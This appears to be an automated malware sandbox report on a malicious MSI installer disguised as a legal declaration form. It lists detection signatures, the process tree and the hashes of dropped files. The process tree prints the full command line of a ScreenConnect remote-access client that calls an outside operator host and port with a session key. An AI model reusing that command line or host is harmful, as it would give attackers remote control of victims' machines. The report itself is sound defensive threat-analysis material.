Analysis

  • max time kernel
    149s
  • max time network
    147s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    10/11/2026, 17:26

General

  • Target
    Declaration_of_a _natural_person.ClientSetup.msi
  • Size 12.9MB
  • Sample261110-vz9rnab16w
  • SHA256 4039ea923383c6a6c569a52fc0de306798036d0b43f3322c9d78236070717bb6
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 15 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 17 IoCs
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 9 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I "C:\Users\Admin\AppData\Local\Temp\Declaration_of_a _natural_person.ClientSetup.msi"
    1⤵
    • Enumerates connected drives
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    PID:1592
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1656
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 2DAD5C4900943FB14B995C58849AB2A2 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1068
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI7DC1.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240746421 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:1612
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:3280
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 3BAB94A95FD7586AACB3BE17DB9073A1
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:2656
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 1B50B2F2F8893E38745A7C576D65C196 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:3288
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:1320
    • C:\Program Files (x86)\ScreenConnect Client (b0274015bc742271)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (b0274015bc742271)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=sanderwear.top&p=7777&s=c2e83614-a281-4860-a4e6-717bc1449eb6&k=BgIAAACkAABSU0ExAAgAAAEAAQBpw6HvtGMfD3p4u1npkweoJFlELgG724APNkrUtlYPWlwHzC8O4y5jy5ZyUAedXnywf3oln7g34FcWd2Ir2sOJ%2bNE6hWMvsaJweo9bZ1BDuol%2bHmlTFe6qU6JwauWE9bWGKiI48lOS9Nq1dUpmVJpTmoUPn4s8xc8%2bUJHyHC%2fBuEmtSLraX2O6tuMAoqn44ebDXkpYdTcnQNePu32KoUdvhXwClNDMmh9dINkjJ2jft6Cz4EOnjbeahv%2b2WrHiORJuE%2faTRxX8gwqpwgj3kluxvJN%2b7CTqJE19mt6cIdTGHU18O7Ck4%2bM3doPeqYDjBL3JSsI7VcafZTvTEFacrcnB&t=fewfewfwefewf&c=Marcin1NOWAK&c=&c=&c=&c=&c=&c=&c="
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • Reads the TCP/IP host and domain name from the registry
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4132
      • C:\Program Files (x86)\ScreenConnect Client (b0274015bc742271)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (b0274015bc742271)\ScreenConnect.WindowsClient.exe" "RunRole" "ff0e2049-1eb8-41b0-b06a-297993324689" "User"
        2⤵
        • Executes dropped EXE
        PID:3132

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e59c5e7.rbs

          • Path C:\Config.Msi\e59c5e7.rbs
          • Size 214KB
          • SHA256 77eca1b3aaa45970372afa1ded151c300ee2a0c3939ec4c5f8142d04e6850041
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (b0274015bc742271)\Client.Override.en-US.resources
          • Size 316B
          • SHA256 1d07b8b5a216e37bbddf2bce311a98742e6cc96dc2405daaa07ddf7240c1d29a
          • MD5 SHA1 SHA512 TLSH

          Client.Override.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (b0274015bc742271)\Client.Override.resources
          • Size 15KB
          • SHA256 89563e5680b2b2f61dded9ac688eb7fe4eb3e6ddcd910c8124c3c383523af11f
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (b0274015bc742271)\Client.en-US.resources
          • Size 48KB
          • SHA256 6a000a67799a071883b6e25f86d91c2c513aae0b34b3643be77e5b889335fb95
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (b0274015bc742271)\Client.resources
          • Size 28KB
          • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (b0274015bc742271)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 2e8e44c9a1f266df8e35c6e06aa5799c177ebf82a56fdefeaf78266eca67264a
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (b0274015bc742271)\ScreenConnect.ClientService.dll
          • Size 67KB
          • SHA256 763c8d95abcb5f50b1585b4eae8ee67320a30436ad178a172051860f26a58b07
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (b0274015bc742271)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 bb8ff8e7e9e026b1a0deaf23c8b035d38b4c28b07a4598908001cbdfc16a0f86
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (b0274015bc742271)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (b0274015bc742271)\ScreenConnect.WindowsClient.exe
          • Size 593KB
          • SHA256 9f0c0d92e2b39744396438d9214956d1ce8237201065f60c58927e5074a0b2da
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (b0274015bc742271)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (b0274015bc742271)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 837KB
          • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (b0274015bc742271)\app.config
          • Size 2KB
          • SHA256 b723029302da86543b736a62854f286eb3af82bac97ea021d17696d42a991ec6
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (b0274015bc742271)\system.config
          • Size 936B
          • SHA256 523fb0c271741c4a1abe5c11cca9d4187d96cf81d60a852e45ec830ddfe52ca7
          • MD5 SHA1 SHA512 TLSH

          MSI7DC1.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSI7DC1.tmp
          • Size 1.0MB
          • SHA256 5f7d5f478bdcf1b52a4ed793d10d183bcc7ef11dd3685331c771ef93c629b4a0
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI7DC1.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI7DC1.tmp-\ScreenConnect.Core.dll
          • Size 538KB
          • SHA256 61835eae421a05d1fa55cfef20f187d806b37e643cea609ce4f929644aec99df
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI7DC1.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 d689272b59c2a3583aca1d9fc4ded27c46f6c9bae4eca0149e1ca6c62d8f5f2b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI7DC1.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 676c530cb41fce9efe2493e3e6d36ac133b739e6496ece39c70ff8d6e8ff4f34
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSICB94.tmp

          • Path C:\Windows\Installer\MSICB94.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          e59c5e8.msi

          • Path C:\Windows\Installer\e59c5e8.msi
          • Size 12.9MB
          • SHA256 4039ea923383c6a6c569a52fc0de306798036d0b43f3322c9d78236070717bb6
          • MD5 SHA1 SHA512 SSDEEP TLSH

          10plhb2s.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (b0274015bc742271)\10plhb2s.newcfg
          • Size 563B
          • SHA256 5438f2c4f13bbfb81422daebb80c1f0d946097d141848790b1380dc8aaf4d5a3
          • MD5 SHA1 SHA512 TLSH

          1rtpysmo.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (b0274015bc742271)\1rtpysmo.newcfg
          • Size 563B
          • SHA256 a4173b3b3a161212c2517b9bb4294d87f274acf99918fe9f50c4d94aefa7fb39
          • MD5 SHA1 SHA512 TLSH

          3of34dz4.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (b0274015bc742271)\3of34dz4.newcfg
          • Size 563B
          • SHA256 6617545c6d2aa59472caedab62361bf4d65579d4fab4da57d318045365a36578
          • MD5 SHA1 SHA512 TLSH

          sjrg0c0b.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (b0274015bc742271)\sjrg0c0b.newcfg
          • Size 563B
          • SHA256 5ce5674a854766286db9d55a2f3d89d25c677e44eefba22ac1b9a6e7ac5d45b5
          • MD5 SHA1 SHA512 TLSH

          user.config

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (b0274015bc742271)\user.config
          • Size 563B
          • SHA256 b6e7d6b408f66afd5c1fde276eebe833c04d739c7c6f25595cdde1cf6e2f991b
          • MD5 SHA1 SHA512 TLSH

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 26.1MB
          • SHA256 36afb69e14bf0bef6cad67f9452a434f6b6d1b91b3b888eaff1b0afa5597e758
          • MD5 SHA1 SHA512 SSDEEP TLSH

          {1d5ea206-affe-49e0-8a60-7507a4b906dd}_OnDiskSnapshotProp

          • Path \??\Volume{e42a0d43-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{1d5ea206-affe-49e0-8a60-7507a4b906dd}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 1d6be275198c23438af419e905737fbf667bd5c5e304baec40537d4aca23368c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/1612-31-0x0000000006920000-0x0000000006EDA000-memory.dmp

          memory/1612-30-0x00000000061B0000-0x000000000635C000-memory.dmp

          memory/1612-26-0x0000000005F70000-0x0000000005FFC000-memory.dmp

          memory/1612-22-0x0000000003E80000-0x0000000003E8A000-memory.dmp

          memory/1612-18-0x0000000003E50000-0x0000000003E7E000-memory.dmp

          memory/1656-45-0x0000016382B60000-0x0000016383504000-memory.dmp

          memory/3132-118-0x00000000009B0000-0x0000000000A48000-memory.dmp

          memory/3132-120-0x000000001B9A0000-0x000000001BA2C000-memory.dmp

          memory/3132-121-0x000000001BBE0000-0x000000001BD8C000-memory.dmp

          memory/3132-122-0x000000001BD90000-0x000000001BF18000-memory.dmp

          memory/3132-123-0x00000000014F0000-0x0000000001508000-memory.dmp

          memory/3132-124-0x0000000001530000-0x0000000001548000-memory.dmp

          memory/3132-119-0x000000001B5D0000-0x000000001B606000-memory.dmp

          memory/4132-94-0x00000000045E0000-0x0000000004621000-memory.dmp

          memory/4132-96-0x0000000004870000-0x0000000004945000-memory.dmp

          memory/4132-92-0x0000000004680000-0x0000000004712000-memory.dmp

          memory/4132-91-0x00000000045A0000-0x00000000045D6000-memory.dmp

          memory/4132-87-0x0000000004550000-0x00000000045A0000-memory.dmp

          memory/4132-76-0x0000000003EF0000-0x0000000003F08000-memory.dmp